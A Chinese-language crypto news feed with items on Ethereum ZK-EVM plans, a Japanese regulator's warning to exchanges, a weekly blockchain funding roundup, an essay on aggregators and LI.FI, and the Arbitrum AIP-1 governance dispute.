生态系统运行良好需要大量的工作。但值得庆幸的是，这项工作的大部分正在发生或无论如何都会发生： 有了这些技术，未来看起来非常美好。以太坊区块会比今天更小，任何人都可以在他们的笔记本电脑甚至他们的手机或浏览器扩展程序中运行一个全验证节点，这一切都会发生，同时保留以太坊多客户端理念的优点。 从长远来看，一切皆有可能。也许 AI 会增强形式化验证程度，使其可以轻松证明 ZK-EVM 实现的等效并识别导致它们之间差异的所有错误，这甚至可能是现在就要开始着手开发的项目。如果这种基于形式化验证的协议能够成功，则需要建立不同的机制以确保该协议的政治去中心化持续进行；也许到那时，协议将被视为“完整的”，不可变型规范将更加强大。但即使这是更长远的未来，开放的多客户端 ZK-EVM 生态系统似乎是一个必经之路，无论如何都有可能发生。 从短期来看，这仍然是一段漫长的旅程。ZK-EVM就在这里，但 ZK-EVM 在L1真正可行将需要它们首先改进为第一类ZK-EVM，并使证明产生足够快以使其可以实时发生。有了足够的并行化（这是可行的，但要实现这一点仍然需要做很多工作），共识变化（如提高 KECCAK、SHA256 和其他哈希函数预编译的 gas 成本）也将是以太坊蓝图的重要组成部分。也就是说，过渡的第一步可能比我们预期的要早：一旦我们切换到Verkle 树和无状态客户端，客户端就可以开始逐渐使用 ZK-EVM，并且可以自行过渡到“开放的客户端 ZK-EVM 生态系统”。  ( 3 min )
    PA图说 | 一图掌握Polygon上NFT一周关键数据（03.27—04.02）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    外媒：日本金融厅对Bybit、MEXC等4家加密交易所发出警告
    PANews 4月3日消息，据CoinPost报道，3月31日，日本金融厅根据事务准则，就未在日本注册的情况下提供加密货币交易一事对4家海外加密交易所发出警告，这4家交易所分别是Bybit、MEXC、Bitget和Bitforex。Bitforex总部位于塞舌尔共和国，Bybit、MEXC Global和Bitget总部位于新加坡。  ( 1 min )
    融资周报 | 公开融资事件29起；质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投
    本期看点 据 PANews 不完全统计，上周（3.27-4.2）全球区块链有29起投融资事件，资金总规模近3.4亿美元，与前一周相比均有所增加，概览如下: 下面我们一起来全盘回顾上周的投融资事件。 质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投 质押协议开发商 EigenLabs 在 Blockchain Capital 领投的 A 轮融资中筹集了 5000 万美元。资金来自 EigenLabs 准备在全年分阶段推出其 EigenLayer 协议的初始版本。该轮融资的其他支持者包括 Electric Capital、Polychain Capital、Hack VC、Finality Capital Partners 和 Coinbase Ventures 等。EigenLabs 上一次筹集资金是在 8 月，由 Polychain Capital 和 Ethereal Ventures 领投的 1450 万美元种子轮融资。 初创公司Econia Labs在Dragonfly领投的种子轮融资中筹集了650万美元 为 Aptos 区块链开发订单簿协议的初创公司 Econia Labs 在 Dragonfly 领投的种子轮融资中筹集了 650 万美元。这轮融资的其他支持者包括 Lightspeed Faction、Wintermute Ventures、Hudson River Trading 和 Flow Traders 等。Aptos Labs 也参与其中。Econia Labs 与 Aptos 团队合作开发了该协议。该公司将利用这笔资金扩大其团队，支持黑客马拉松和赠款计划等社区计划，并帮助开发人员加入 Aptos 和 Econia 生态系统。 DeFi借贷协议Granary Finance完成超过500万美元融资 DeFi借贷协议Granary Finance在不到两周时间里通过社区融资筹集了超过500万美元的稳定币USDC。新资金将用于Granary V2开发以及即将推出的Granary治理代币相关支持工作，为Web3金融用户提供无摩擦借贷体验。 DeFi衍生品协议Cega完成500万美元融资，Dragonfly Capital领投 Solana生态DeFi衍生品协议Cega完成500万美元融资，Dragonfly Capital领投，Pantera Capital和Robot Ventures等参投。最新一轮融资使Cega迄今为止的总融资额达到930万美元。它在去年3月筹集了430万美元。新资金将用于扩大其在以太坊上的协议，将在该协议上推出杠杆期权等新产品，其以太坊计划于下周推出。 Nautilus网络DEX PoseiSwap完成150万美元融资，Zebec Labs领投 PoseiSwap宣布完成150万美元战略融资，Zebec Labs领投，Eclipse与Notifi Network参投，该轮融资将用于加速产品开发。PoseiSwap是Nautilus Chain上首个DEX ，已于3月27日公布空投计划。Nautilus是一个Layer3链，可通过对交易进行分批处理来帮助扩容L1链，从而将共识和执行层分开。 OrderlyNetwork以2亿美元估值从CoinDCX Ventures筹集新资金 基于Near的 DeFi 协议OrderlyNetwork 在战略投资回合中从印度的 CoinDCX Ventures 筹集了一笔未公开金额的资金。这笔资金是通过一项简单的未来代币协议 (SAFT) 实现的，估值为 2 亿美元，与野村子公司Laser Digital投资时估值相同。 音乐NFT交易所Muverse完成600万美元种子轮融资 音乐NFT交易所Muverse宣布完成600万美元种子轮融资，Syndicate Capital、Knights Templar Capital、Zonff Partners、AvatarDAO、Sun Artland Ltd和几位天使投资者参投。新资金将用于扩大平台的功能和服务，加速用户获取，并提升用户体验。据悉，Muverse允许世界各地的音乐艺术家、投资者和粉丝参与音乐NFT交易。该平台为用户提供游戏化的互动、投资和收入场景，包括一个结合收益模型的节奏游戏，以及一个为用户提供充足流动性的NFT交易所。该平台正在开发其第二阶段的产品，其中将包括音乐NFT交易所、NFT碎片化功能和用于其F-NFT/MCT交易的AMM池。 元宇宙开发公司LandVault完成300万美元B轮扩展轮融资，The Sandbox等参投 元宇宙开发公司LandVault完成300万美元B轮扩展轮融资，The Sandbox、Gemini Frontier Fund、HodlCo和对冲基金Kingsway Capital等参投。该公司将利用这笔资金继续其Web3扩张并创建AI工具。此前3月22日消息，LandVault完成3700万美元融资，软银等领投。 音乐NFT项目Daniel Allan Entertainment完成100万美元种子轮融资，Coop Records领投 音乐制作人、Web3爱好者Daniel Allan近日宣布，其音乐NFT项目Daniel Allan Entertainment完成100万美元种子轮融资，Coop Records领投，Palm Tree Crew Crypto、Noise DAO、Woodstock DAO、 Fire Eyes DAO以及天使投资人Adam Kornfield、等参投。 Daniel Allan于2021年4月铸造第一个音乐NFT，并在过去的一年半里，其NFT的一级销售总收入228 ETH，二级销售总收入105 ETH。 沙特阿拉伯 NFT 市场 Nuktah完成种子轮融资，Animoca Brands 领投 沙特阿拉伯 NFT 市场 Nuktah 近期宣布完成种子轮融资，具体金额未披露，Animoca Brands 领投，区块链平台 Polygon 和一些投资者参投。新资金将用于 Nuktah 未来 12 个月内发展产品开发、营销、人才招聘和其他职能领域的业务。Nuktah 由摄影师、艺术家以及 Web3 和区块链倡导者 Salwa Radwi 于 2021 年创立，获得沙特通信和信息技术部和投资部许可。 硬件钱包制造商Ledger以13 亿欧元的估值锁定了 1 亿欧元的大额融资 总部位于巴黎的硬件钱包制造商 Ledger 在首轮融资中筹集了 1 亿欧元（1.09 亿美元）的大部分资金。 估值为 13 亿欧元，与投资者在2021 年 6 月上一次融资时给出的价格大致相同。新投资者包括 True Global Ventures、Cité Gestion SPV、Digital Finance Group 和 VaynerFund。他们加入了 10T、Cap Horn、Morgan Creek 和 Cathay Innovation 等现有支持者的行列。该公司将利用这笔现金扩大其分销商网络、提高产量和开发产品，从而发展业务。 专注于人工智能的加密协议Fetch.ai完成4000万美元融资 专注于人工智能的加密协议Fetch.ai已从做市商和投资公司 DWF Labs 处筹集了 4000 万美元。Fetch.ai的目标是通过提供自主的机器对机器生态系统，为开发人员提供工具来部署应用程序并从中获利。该公司周三在一份声明中表示，Fetch 将利用这笔投资在其平台上部署去中心化机器学习、自主代理和网络基础设施。 跨链桥聚合器LI.FI完成1750万美元A轮融资，CoinFund等领投 跨链桥聚合器LI.FI宣布完成1750万美元A轮融资，CoinFund和Superscrypt领投，Bloccelerate、L1 Digital、Circle、Factor、Perridon、Theta Capital、Three Point Capital、Abra和近20位天使投资人参投。据悉，LI.FI本轮筹集的新资金将用于推动LI.FI在更多区块链、DEX、跨链桥等领域的开发，同时加强其销售、业务发展、营销和其他能力，以支持代币和订单流交易。 区块链基础设施解决方案TradeWindow完成700万美元战略股权融资 区块链基础设施解决方案TradeWindow已完成一笔700万的美元战略股权融资，nChain参投，本次融资交易完成后nChain将持有该公司19.99%的股份。TradeWindow主要提供区块链基础设施解决方案，包括能源计量、资产跟踪和跨境支付等，新资金将提升其软件工程能力，接触更多的专家开发人员和已经构建的产品并加速Web3转型。 加密基础设施Conduit完成Paradigm领投的700万美元种子轮融资 加密基础设施初创公司 Conduit 宣布完成 700 万美元种子轮融资，Paradigm 领投，Robert Miller、Ludwig Pettersson、Dan Romero、Guillaume Poncin、Joshua Ma和Lakshman Sankar参投。新资金将帮助 Conduit 继续其首个产品发布并实现其实现盈利的目标。 开源区块链D-Ecosystem完成600万美元融资 开源区块链D-Ecosystem宣布已在其首次 DEX 发行 (IDO) 之前筹集了 600 万美元的资金。定于 3 月 29 日开始的公开发售将标志着 DXC 代币发售的第一阶段。D-Ecosystem 是一个去中心化的开源区块链生态系统，包括公链、自有支付系统、自有 DEX、钱包、NFT 市场等。 基于区块链技术的农业金融科技公司Agreena完成4600万欧元B轮融资 基于区块链技术的农业金融科技公司Agreena宣布完成4600万欧元B轮融资，HV Capital领投，AENU、 Anthemis 以及现有股东Gullspång Re:food 、 Kinnevik和丹麦的出口和投资基金等参投。 去中心化协作AI平台FedML完成600万美元融资 去中心化协作AI平台FedML宣布完成600万美元种子轮和Pre-Seed轮融资，Camford Capital领投，Plug and Play Ventures、AimTop Ventures、Acequia Capital、LDV Partners等投资者参投。据悉，FedML是一个去中心化协作的机器学习平台，提供了一个分布式MLOps生态系统，可以训练、部署、监控和持续改进机器学习模型，同时以保护隐私的方式在组合数据、模型和计算资源上进行协作，目前已签署10份企业合约，涵盖Web3应用程序等。 基于区块链的客户奖励平台apM Coin从DWF Labs获得500万美元投资 基于区块链的客户奖励平台apM Coin宣布从DWF Labs获得500万美元投资和价值150万美元的可选合作合同。通过此次合作，两家公司计划推动WEB 3.0生态系统的扩张。通过此次获得的投资和合作，apM Coin计划开发和扩展apM Coin Project的链间支付解决方案。据悉，apM Coin项目已和经营着韩国三家大型B2B服装批发商场apM, apM PLACE和apM Luxe的apM集团合作，这三家购物中心引入了其app并支持apM Coin代币支付。 区块链理赔平台Vitraya完成500万美元融资，StartupXSeed领投 区块链理赔平台Vitraya背后的开发公司Vitraya Technologies宣布完成500万美元新一轮融资，B2B风险投资基金StartupXSeed领投，Season Two Ventures、Cactus、Xceedance和Mankind Pharma家族办公室等参投。据悉，Vitraya平台使用区块链和人工智能技术确保医院、患者和保单数据的绝对安全，该平台在涉及的私有区块中保护数据的所有端点，并帮助参与各方可以安全无忧地进行互动。 Web3社交平台SO-COL在两轮融资中筹集了450万美元，投资方包括DWF Labs Web3社交平台SO-COL披露其在两轮融资中筹集了450万美元，最近一轮价值150万美元的融资仅由DWF Labs提供支持。去年5月， So-Col还在Blockchain Capital领投的一轮融资中筹集了300万美元。5月份的融资估值为1亿美元，但未披露最近一轮融资的最新估值。在DWF的新投资下，基于以太坊的So-Col计划转向多链并支持更多的Layer 1和Layer 2区块链，包括Starkware。 房地产区块链技术服务商Coadjute完成400万英镑融资，Praetura Ventures领投 Coadjute完成400万英镑融资，Praetura Ventures领投，Reech Corporation Group参投。Coadjute该公司旨在为英国房地产市场提供区块链技术，通过区块链加快房地产交易。该公司使用R3 Corda的银行级区块链，可以提供高安全级别、低网络成本的区块链交易。 基于区块链的贸易融资协议Polytrade完成380万美元种子轮融资 基于区块链的贸易融资协议Polytrade 在由 Alpha Wave、Matrix Partners、Polygon Ventures 和 CoinSwitch Ventures 领投的种子轮融资中筹集了 380 万美元，其他投资者包括 Singularity Ventures 和 GTM Ventures。该公司此前得到了Polygon联合创始人 Sandeep Nailwal 和 QuickSwap 联合创始人 Sameep Singhania 等人的支持。Polytrade 计划继续构建“各种模型，将整个交易供应系统带入区块链”。 Vote-to-earn项目Love Hate Inu完成200万美元融资 Vote-to-earn项目Love Hate Inu通过代币预售完成200万美元融资，该项目旨在通过奖励参与在线调查的用户来改变在线投票行业。在此平台上，用户必须持有LHINU代币至少30天才能参与投票。用户的投票权与他们质押的LHINU数量和选择的质押周期成正比。目前Love Hate Inu的代币预售已进入第3阶段（共8个）。投资者可以1LHINU = 0.000095 USDT的价格购买LHINU。 Web3艺术平台Ensemble完成100万美元种子轮融资 Web3艺术平台Ensemble完成100万美元种子轮融资，Collab+Currency领投，Lattice、Builder Capital参投，天使投资人包括Ben Roy与Block0联创Manu Andorra。 Ensemble已于2022年11月推出平台的第一个版本，2023年4月5日，将推出升级后的Ensemble平台。 Web3硬件制造商JDI Global完成新一轮融资，Dragonfly等参投 Web3硬件制造商JDI Global宣布完成新一轮融资，Dragonfly、Futuremoney、LinkVc、Lancer等机构的参投。JDI表示，这次融资将有助于其进一步加强技术研发、扩大市场份额、加速产品落地。 Junggl Media完成新一轮融资，Northbrook Capital Start-up Fund投资 Web3初创公司Junggl Media完成新一轮融资，Northbrook Capital Start-up Fund投资，具体融资金额暂未公布，新资金将用于继续扩展其在数字金融媒体、加密Web3和AI方面的产品，为媒体公司提供更全面的创新解决方案。 区块链代币发行众筹服务平台FiNANCiE完成融资，Marui Group参投 区块链代币发行众筹服务平台FiNANCiE宣布完成新一轮融资，零售和金融公司Marui Group参投，但具体融资金额暂未披露。据Financier首席执行官Hirohisa Kunimitsu透露，未来其平台将寻求推出以FNCT为中心的加密资产、代币和NFT金融科技计划，以推动和支持创作者经济。 印尼加密交易所Mobee完成新一轮融资，1982 Ventures领投 印度尼西亚加密货币交易所Mobee完成新一轮融资，具体金额未披露，1982 Ventures领投，数家印尼家族办公室和个人投资者参投。所筹资金将用于扩大业务、推出新产品，并聘请更多来自金融服务和数字资产行业的资深人士。 DAO组织Hydra Ventures完成1000万美元融资，ConsenSys等参投 去中心化自治组织 Hydra Ventures 已筹集 1000 万美元用于支持投资 DAO。Hydra Ventures 的投资者包括 1kx、Collab+Currency、ConsenSys 和 Seed Club。Hydra Ventures DAO 匿名风险投资人 P3terpan 表示，Hydra Ventures 将投资 30 到 40 个 DAO——目标是投资 DAO 本身高达 10%。到目前为止，它已经进行了一项投资，但尚未宣布，并计划在此过程中孵化一些投资 DAO。 pi Ventures完成2.2亿卢比融资，将投资区块链等领域 印度早期风险投资基金pi Ventures宣布完成2.2亿卢比（270万美元）融资，比利时COLRUYT GROUP参投。pi Ventures表示，这笔融资将使其有望完成Fund II募资，该基金已经获得Accel、Nippon India Digital Innovation AIF (NIDIA)、Bertelsmann India Investments等机构支持，并将投资人工智能、区块链、深度技术等领域，目前其投资有Web3网络安全公司Silence Laboratories、B2B货币供应链管理平台OweMe等。  ( 4 min )
    解析聚合器赛道现状：Li.Fi有哪些优势？
    原标题：Revisiting Aggregation Theory 作者：Joel John 编译：Kxp，BlockBeats 一年前，我们撰文讨论了 Web3 时代的聚合理论。在 Web 2.0 时代，聚合器受益于降低的分发成本并汇集了众多服务提供商。亚马逊、优步和抖音这样的平台依靠数以百计的供应商、创作者或驾驶员为用户提供的服务或价值而收益颇丰。同时，用户也获得了无尽的选择。对于创作者来说，规模才是关键。我之所以选择在推特上发推文而不是 Lens，是因为我的粉丝都主要集中在推特上。 在 Web 3.0 中，聚合器主要依赖于验证和信任成本的降低。如果你使用了正确的合约地址，那么你就不用担心在 Uniswap 上兑换到假的 USDC。像 Blur 这样的市场平台无需花费资源来验证平台上交易的每个 NFT 是否真实，因为网络本身承担了这部分成本。 Web3 中的聚合器可以通过检查链上数据更轻松地查看资产价格或找到它们的列表位置。在过去的一年里，大多数聚合器都致力于整合链上数据集，并使其易于用户使用。这些数据可能与价格、收益、NFT 或资产桥接途径有关。 当时的假设是，那些作为聚合器接口快速扩张的公司将建立垄断地位。我当时特别提到了 Nansen、Gem 和 Zerion 作为例子。然而，讽刺的是，回顾过去的一年，我的假设并不准确——这也是我今天想探讨的事情。 不要误会我的意思。Gem 几个月后被 OpenSea 收购。Nansen 融资 7500 万美元，Zerion 则在 10 月进行了 1200 万美元的融资。因此，从投资者的角度来看，我的假设是正确的。这些产品各自在其领域都是佼佼者，但促使我撰写这篇文章的是，我预测的相对垄断地位并未实现。相反，它们在过去的一年里都面临了竞争对手的涌现。这在新兴领域是一个理想的特征。 那么，在过去的几年里发生了什么呢？正如我在《版税之争》中所写的，Gem（以及 OpenSea）的相对垄断地位在 Blur 进入市场后受到了威胁。同样，Arkham Intelligence 结合了令人兴奋的用户界面、可能的 Token 发行以及通过推荐奖励 Token 的巧妙营销策略来与 Nansen 竞争。Zerion 可能感到相对安逸，但 Uniswap 的新钱包发布可能会侵蚀它们的市场份额。 你看到这里的趋势了吗？过去没有 Token、靠股权投资者支持稳步增长的聚合器现在正面临着发放 Token 的公司带来的风险。随着我们深入熊市，这种「社区所有权」的概念将变得越来越重要，因为坚守阵地的有限消费者希望最大限度地利用他们的每一美元。此外，使用平台获得奖励而不是支付费用使用它还具有新颖性。 因此，一方面，长期以来现金流正面的公司将看到收入下降；另一方面，他们将看到用户涌向竞争对手。这种情况可持续吗？绝对不可能，以下是它的运作方式： 公司推出一款暗示 Token 的产品，如果发布与推荐计划相关联，那就更好了。比如 Arkham Intelligence 向访问他们的平台的用户提供 Token，而考虑到空投的可能性，越来越多的用户会花费时间在这个产品上。这是一种特性，而非缺陷。 这是一种令人难以置信的方法来对产品进行压力测试、降低客户获取成本并在产品中引导网络效应。挑战在于用户的留存率，一旦 Token 奖励不再提供，用户通常会转向其他产品。因此，大多数「暗示」Token 的开发者并不知道他们的用户基数有多大。 下面这个人总结了当今加密领域普通人的哲学基础，很好地总结了驱动我们世界的自利行为： 值得注意的是，过去有一个历史趋势，即用户放弃 Token 发布项目转向现有项目。此处的陷阱在于，创始人（可能）认为通过 Token 激励获取的用户具有黏性。在理想条件下，Token 激励与产品用户之间的关系图应如下图所示： 但现实情况是，随着 Token 激励的减少，最初涌入的用户几乎完全放弃了项目。他们没有理由在失去最初吸引他们的激励后继续为产品做贡献。这种现象在过去两年里困扰着 DeFi 和 P2E。 积累 Token 并持有的用户成为了新的「社区」成员，他们想知道资产价格何时会大幅上涨，以便他们退出。 我最初的论点是将多个产品的功能集简单地集中到一个界面上，使用区块链作为基础设施的骨干，作为持久的护城河，这很可能是错误的。我想知道为什么具有相对优势的领导者会在 Web3 中被其他公司取代。Binance 推翻了 Coinbase，而他们又面临着 FTX 的竞争。OpenSea 看到了来自 Blur 的竞争。Sky Mavis 是 Axie Infinity 的制造商，随着 Illuvium 等新进入者进入市场，它可能会面临热度。为什么 Web3 的用户会随着时间的推移而离开？要怎样才能留住一个用户足够长的时间？ 在 Web3 时代，当每个人都可以发布一个内嵌 Token 的版本时，什么可以成为一种护城河？我一直在思考这个问题，因为我们生活在一个叙事转换的市场中，每个季度都有一个新的「热门」事物。这就是为什么我关注的风险投资家会在一夜之间从远程工作专家变成处理台湾地缘政治紧张局势的专家。 当然，如果你只是在资产之间进行交易（顺便说一句，这是大多数加密领域人士的「用例」），这种做法是可行的。但是，如果你想建立一个随着时间推移而增长的资产基础（如谷歌或苹果的股权），在资产之间轮换可能是一个糟糕的主意。 这也适用于顾问如何改变他们的 LinkedIn 简历 你最终希望花费时间、金钱或精力的投入能够在不需要积极管理的情况下增长。而唯一能够实现这一点的方法在于产品做到这两件事情：首先，保留他们已经拥有的用户；其次，积极扩展，以防止竞争对其市场份额的侵蚀。那么，怎么做才能实现这一点呢？（当人们开始考虑护城河和用户留存时，你就知道这是一个熊市了） 这种现象的部分原因是将公司排名放在创新和便利之间的频谱上。在早期，像 NFT 这样的原始产品十分新奇，吸引了那些愿意不遗余力地尝试该产品的人。 我们很容易处理钱包中的种子短语，因为使用「数字货币」的新奇感足以吸引我们。如果你注意到用户对 Ordinal 的好奇，你会意识到用户是多么有耐心。早期的利润因素是推动用户在艰难时期坚持下来进行投机并获利的原因所在。 在频谱的另一端是我们每天都依赖的高便利性工具。亚马逊是一个让我们沉迷于便利的聚合器的实例。消费者可能受益于购买不在亚马逊上的小众商店，而且可能该商家在亚马逊上的定价不合理。 但是，在做决定时，你最不用担心的是支付方式、交货时间或客户支持。这种在心理上的「节约」转化为在聚合器上花费更多的注意力或资本。许多卖家来到亚马逊，恰恰是因为他们理解市场中的消费者行为与如果用户直接来到店铺的不同。 Tim Wu 在 2018 年的一篇文章中总结了人们为便利所付出的努力： 当然，我们愿意为便利支付溢价，而且往往比我们意识到的更愿意付出。例如，在上世纪 90 年代晚期，像 Napster 这样的音乐分发技术使得在线获取音乐变得不花一分钱，并吸引了很多人使用。但尽管现在仍然可以轻松地免费获取音乐，但没有人真的这么做了，因为 2003 年引入的 iTunes 商店使得购买音乐比非法下载更加方便。 回到我最初提到的频谱，新颖的技术通常会支付给用户来尝试它们。相反，高度便利的应用程序让用户为追求便利而支付高昂的费用。 当今大多数面向消费者的应用程序面临的挑战是它们处于「死亡谷」中间，也就是我所说的中间地带。它们既不新颖到让人想要尝试，也不足够便利，无法在没有外界干预的情况下被依赖。Skiff、Coinbase Card 和 Mirror 很擅长在这个方程的便利性频谱上替代它们传统的对应品。 但是，对于游戏、借贷或身份认证赛道为例，你将看到为什么这些主题尚未在链上扩展。 中间的大多数应用程序犯了一个致命的错误，那就是相互竞争。首先是通过广告和招聘，增加客户获得成本和就业成本，然后通过制作谜因和发布针对同行的叙事来竞争。正如 Peter Thiel 所说的那样：竞争是留给失败者的。 当初创企业开始在小众市场上竞争时，通常不会有赢家。用他的话来说，初创企业能够从生存的斗争中转变的唯一途径是拥有垄断性的利润。但是，如何才能达成这一点呢？ 在 Web3 中，如果一家公司想实现 Token 以外的发展途径，可以着眼于三个方面：成本、应用案例和分发。过去曾有一些实例，所以我将逐一阐述这些内容。 稳定币已经成为加密货币的杀手级应用案例，因为它们在全球范围内提供了比传统银行更好的体验。在印度，UPI 等创新可能更具成本效益，但在东南亚、欧洲或非洲之间转移资金，或仅在美国的银行账户之间移动余额，使用链上转账更为合理。 从用户的角度来看，产生的成本不仅仅是在转账金额上花费的钱，还包括移动资金所需的时间和精力。借记卡对电子商务的作用就像稳定币对汇款的作用一样：减少了转账所需的认知成本。与大多数面向消费者的收益生成移动应用相比较，你可以提供稍微更高的收益，但考虑到崩盘风险，其价值主张将失败。 如果你在新兴行业聚集小众用户，分发可以成为一个护城河，想想 Compound 和 Aave 是如何解锁全新的借贷市场的就可以了。很少有人会觉得用 100 美元的 Ethereum 抵押贷款 50 美元有价值。但不少人忽略了有一种市场并没有得到服务——主要是那些不想在熊市出售其资产的加密富人。 你会错误地认为，在新兴市场中没有获得信贷额度的人会推动 DeFi 借贷的交易量。但实际上，加密富豪才是推动力，这是一个之前无法获得银行服务的人群。成为与某个领域相关的「中心」，可以吸引用户的关注，进而推动单一功能的发展。Coingecko 和 Zerion 就是在这方面做得很好的两个企业。 考虑到公司促使用户使用新功能的边际成本几乎为零，因此向产品本身迭代和添加新的收入来源变得具有成本效益。这就是为什么 WeChat（在东南亚）、Careem（在中东）和 PayTM（在印度）等平台往往做得不错的原因。 当像 Uniswap 这样的玩家发布钱包时，他们实际上是在尝试将用户聚集在一个界面中，在这个界面中，能够以更低的成本推送更多功能（如他们的 NFT 市场）。 ENS、Tornado Cash 和 Skiff 等产品已经树立了忠实的用户群体，这些用户重视这些传统替代品无法提供的独特特点。例如，Facebook 不会将钱包地址与用户身份关联起来，而 Tornado Cash 则提供了无与伦比的隐私，相比银行来说更加保护用户隐私。 你可以想象这些产品的用户经常会坚持使用，因为通常没有可以媲美的替代品。然而，引入新的用例需要教育用户并提高用户意识，这需要时间。然而，成为第一个进入市场的公司可以占据大部分市场份额。 在 LocalBitcoins 的早期阶段，它是唯一的点对点交易平台，并帮助聚集新兴市场（如印度）的流动性，使其保持领先地位直到 2016 年。 在熊市中，通过专注于传统的增长手段来扩展产品规模是很困难的。上述产品在多个市场周期中存活了下来。Axie Infinity 的成功归功于团队在 2020 年之前进行了两年的基础工作，使他们能够建立强大的社区、管理 Token，并平衡投资者和用户的利益。 这就是为什么在市场低迷时，风险投资者喜欢投资于开发者工具和基础设施。为了应对零售用户缺乏兴趣的情况，公司将注意力转向面向企业的解决方案，并为开发人员构建工具，以便他们能够吸引零售用户。Coinbase 已经意识到这一点，在熊市中发布了钱包 API 等工具。LI.FI 是这一趋势的典型代表，为开发人员提供 SDK，以使他们的应用程序和用户支持多条链。 LI.FI（Liquid Finance 的简称）是一个支持多条链的流动性聚合器，为开发人员提供 SDK，以使他们的应用程序和用户支持多条链。例如，如果 Metamask 或 OpenSea 希望允许用户在 Polygon 和 Ethereum 之间转移资产，LI.FI 的 SDK 将确定跨越桥梁和去中心化交易平台（DEX）的最佳路径以转移资金，从而使开发人员能够专注于他们的核心竞争力。 将聚合器（如 Li.Fi）视为开发人员在其应用程序中放置的构建组块，以帮助用户以最低成本在链之间移动资产 尽管市场上有很多类似的竞争对手，但 LI.FI 是一个很好的例子，因为他们符合我之前提到的标准，而且 Philipp 在八个月前也与我分享过这些标准，我一直以此作为本文的基础。但是，让我们回到 LI.FI 的策略上。 LI.FI 已经做了几件事情，满足我之前提到的标准，建立了强大的护城河： · 他们专注于企业而非散户，旨在吸引构建需要跨链转移的应用程序的开发者。 · 他们的产品可以为企业节省研究和维护时间和资源，在熊市中相对容易销售。 · 对于终端用户，LI.FI 提供了最佳的转移成本基础，增加了人们使用其集成 SDK 的产品的意愿。 · 他们是第一个集成新链的平台，竞争较少。 · 他们的目标用户群主要是已经熟悉加密货币的行业大咖，不需要太多知识普及工作。 尽管 LI.FI 并不是市场上唯一的跨链聚合器，而且即便是他们符合我之前提到的成本、人口统计和使用案例标准，任何一个聚合器也很难建立强大的护城河。我感兴趣的是，LI.FI 如何从一种新奇工具逐渐转变为一种便捷工具。 在早期，用户之所以依赖桥接聚合器，是因为在不同的区块链之间转移资产是一个耗时的过程，需要通过中心化平台和安全检查。如今，DeFi 用户正在跨链发送数十亿美元，但普通人并不感兴趣。 那么，当新奇感消失时，你如何生存呢？如果你注意到 Nansen 和 LI.FI 是如何运作的，你可以通过观察他们将产品服务卖给了谁来获得答案：LI.FI 主要面向开发人员进行销售，昨天 Nansen 推出了 Query，这是一个让企业和大型基金直接访问 Nansen 数据的工具，他们声称在查询数据方面，它比最接近的同行快六十倍。那么，为什么这两家公司都专注于开发人员呢？ 对于使用 Nansen 查询工具的任何人来说，关键问题是该工具是否节省了足够的时间和精力以使其成本合理。如果内部开发工具的成本低于委托第三方（例如 LI.FI）的成本，则决策者通常会避免从头开始构建。 要想脱颖而出成为一种便利工具，企业必须专注于少数高收益用户，这些用户愿意为产品的附加价值付费。通过迎合这些用户，企业可以产生足够的收入，吸引更多用户使用其产品，并成为首选的便捷工具。 我与 Nansen 的 Alex 谈论了这个框架，他提出了一个不同的观点。用户始终寻求价值，无论市场状况如何。在熊市中，企业和网络等大客户需要特定的数据集，这些数据通常无法从第三方供应商处获取。通过定制产品以满足他们的需求并展示其价值，公司可以产生更多的收入并面对更少的竞争。 在我之前的文章中，我错误地认为使用区块链是竞争优势而不仅是产品特性。自那以后，许多 DeFi 收益汇聚平台已经推出，但其中大多数都失败了。如果竞争对手可以使用相同的功能并提供更好的用户体验或者像 Gem 一样引入 Token，那么简单地集成区块链可能并不重要。在这个竞争的环境中，我们需要思考什么才是真正可以区别产品的因素。 当我写这篇文章时，有一些趋势是显而易见的。首先，在熊市中获取用户十分昂贵，因为散户投资者的兴趣很低。除非产品具有新奇性或便利性，否则产品将处于一个艰难的位置。其次，专注于为其他企业（B2B）建立产品的企业可以在牛市中实现可持续增长并占领市场，就像 FalconX 一样。第三，设计不良的 Token 只能段时间成为竞争优势，但长期来看是一种负担。只有少数社区成功地提高了 Token 的价值。 当我们思考像游戏或 DeFi 这样的散户市场时，很明显大多数人不关心区块链的技术细节、去中心化或链上身份，他们关心的是他们可以从中获得的价值。尽管区块链可以增强最终用户产品的价值，但创始人常常陷入为风险投资家（VC）或 Token 交易者建立和销售产品的陷阱，而没有基于成本、便利性和社区的竞争优势。  ( 3 min )
    Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？
    作者 | Fxstreet Ekta Mourya 编译| PANews 就在ARB代币空投几天后，3月28日，Arbitrum社区在Snapshot上发起Arbitrum Improvement Proposal 1 (AIP-1)提案投票，拟引入一个名为ArbitrumDAO的去中心化自治组织结构，该组织由ARB持有者管理，位于开曼群岛的Arbitrum基金会将为ArbitrumDAO社区服务并受其管理，旨在促进Arbitrum生态系统的成长和发展。 不过，创建ArbitrumDAO可能是一个“幌子”，因为该提案的背后实体Lemma还将申请7.5亿枚ARB代币（价值约超10亿美元）资金拨款（Lemma是Arbitrum基金会的服务提供商，主要专注于运营的治理组件），但社区很快发现，Arbitrum基金会很可能想用这个提案“窃取”这笔钱。 AIP-1提案目前尚未获得批准，但Arbitrum基金会已经事先创建了一个地址名为“Arbitrum DAO Treasury2”的多重签名钱包，并且收到近7亿枚ARB代币，尽管Arbitrum基金会的一位代表称该地址是 Administrative Budget Wallet，但这个说辞并没有被社区接受。 实际上，AIP-1提案让Arbitrum社区感到“不爽”主要有以下三个原因： 1、对高达7.5亿枚ARB代币捐款没有实质投票权 社区发现，Arbitrum基金会这个貌似透明的提案其实将赠款分配排除在链上治理之外，ARB持有人无法决定Arbitrum基金会将近10亿美元的资金分配给谁或如何分配，因为Arbitrum基金会不需要将其赠款分配置于“完全链上治理”。 2、没有任何安全和监督措施 4月2日，Arbitrum基金会员工Patrick McCorry发文称Arbitrum生态系统对从协议治理到数十亿美元资金所有事项进行的首次社区投票是“批准”而非“请求”，这个提案是告知社区所有提前做出的决定。 3、Arbitrum基金会由三人控制 Arbitrum社区发现，真正确定谁能获得赠款的实体是一个只有三名董事组成的基金会，他们分别是：Campbell Law、Edward Noyons和Ani Banerjee，Campbell Law是数字资产合规公司Provenance的联合创始人，Edward Noyons目前担任DAO咨询公司Marfire董事，而Ani Banerjee的背景尚不清楚。 